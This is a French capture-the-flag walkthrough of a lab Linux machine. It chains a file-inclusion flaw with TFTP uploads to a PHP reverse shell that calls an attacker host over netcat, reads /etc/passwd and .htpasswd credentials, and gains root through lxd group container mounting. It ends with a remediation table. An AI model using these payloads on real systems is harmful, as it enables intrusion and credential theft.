Included
| OS | Difficulty | Target |
|---|---|---|
| Linux | VERY EASY | 10.129.x.x |
Résumé
Machine Linux exposant un service TFTP sur UDP et une application web vulnérable à une LFI (Local File Inclusion). L’exploitation combine l’upload de fichiers via TFTP et leur inclusion via la LFI pour obtenir un reverse shell. L’escalade de privilèges s’effectue via le groupe lxd en montant le filesystem host dans un conteneur privilégié.
Reconnaissance
Scan de ports TCP
nmap -T4 <IP>PORT STATE SERVICE80/tcp open httpScan de ports UDP
sudo nmap -sU -T4 <IP>PORT STATE SERVICE69/udp open tftp| Port | Protocol | Service | Description |
|---|---|---|---|
| 80 | TCP | HTTP | Apache 2.4.29 (Ubuntu) |
| 69 | UDP | TFTP | Trivial File Transfer Protocol |
Enumération
Application web (80)
La page principale charge dynamiquement des fichiers via un paramètre file :
http://<IP>/?file=home.phpTest de LFI
curl "http://<IP>/?file=../../../etc/passwd"Le fichier /etc/passwd est affiché, confirmant la vulnérabilité Local File Inclusion.
Fichier sensible dans le dossier web
En explorant les fichiers classiques d’un serveur web :
curl "http://<IP>/?file=.htpasswd"Un fichier .htpasswd contient des credentials.
Exploitation
Stratégie
- Uploader un fichier PHP malveillant via TFTP
- L’inclure via la LFI pour exécuter du code
Upload via TFTP
TFTP stocke les fichiers dans /var/lib/tftpboot/ par défaut.
# Créer le reverse shellcat > shell.php << 'EOF'<?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 4444 >/tmp/f"); ?>EOF
# Upload via TFTPtftp <IP>tftp> put shell.phptftp> quitReverse shell
# Terminal 1 - Listenernc -lvnp 4444
# Terminal 2 - Déclencher l'inclusioncurl "http://<IP>/?file=../../../var/lib/tftpboot/shell.php"Shell obtenu en tant que www-data.
Mouvement latéral
Avec les credentials trouvés dans .htpasswd :
su mike# Entrer le mot de passe trouvéEscalade de privilèges
Enumération
id mikeL’utilisateur mike est membre du groupe lxd, permettant de manipuler les conteneurs LXC/LXD.
Exploitation LXD
L’exploitation consiste à créer un conteneur privilégié et monter le filesystem de l’hôte.
Préparation de l’image Alpine
# Sur la machine attaquantecurl -L -o alpine.tar.gz "https://dl-cdn.alpinelinux.org/alpine/v3.10/releases/x86_64/alpine-minirootfs-3.10.0-x86_64.tar.gz"python3 -m http.server 8000
# Sur la ciblecd /tmpwget http://<ATTACKER_IP>:8000/alpine.tar.gzCréation du metadata LXD
mkdir /tmp/lxd && cd /tmp/lxdcat > metadata.yaml << 'EOF'architecture: x86_64creation_date: 1577836800properties: description: Alpine os: Alpine release: "3.10"EOFtar czf metadata.tar.gz metadata.yamlImport et exploitation
# Importer l'imagelxc image import metadata.tar.gz /tmp/alpine.tar.gz --alias myimage
# Créer un conteneur privilégiélxc init myimage container -c security.privileged=true
# Monter le filesystem hostlxc config device add container mydevice disk source=/ path=/mnt recursive=true
# Démarrer et accéder au conteneurlxc start containerlxc exec container /bin/shRoot flag
cat /mnt/root/root.txtFlags
# User flagcat /home/mike/user.txt
# Root flag (depuis le conteneur)cat /mnt/root/root.txtA retenir
| Vulnérabilité | Description | Remédiation |
|---|---|---|
| LFI | Inclusion de fichiers locaux via paramètre non filtré | Valider et sanitizer les entrées utilisateur |
| TFTP exposé | Service TFTP accessible sans authentification | Restreindre l’accès réseau, désactiver si non nécessaire |
| Credentials en clair | Mot de passe stocké dans .htpasswd accessible | Utiliser des mécanismes d’authentification sécurisés |
| Groupe lxd | Membership permet de monter le filesystem root | Limiter les membres du groupe lxd aux administrateurs |
Outils utilisés
- nmap
- curl
- tftp
- netcat
- lxc/lxd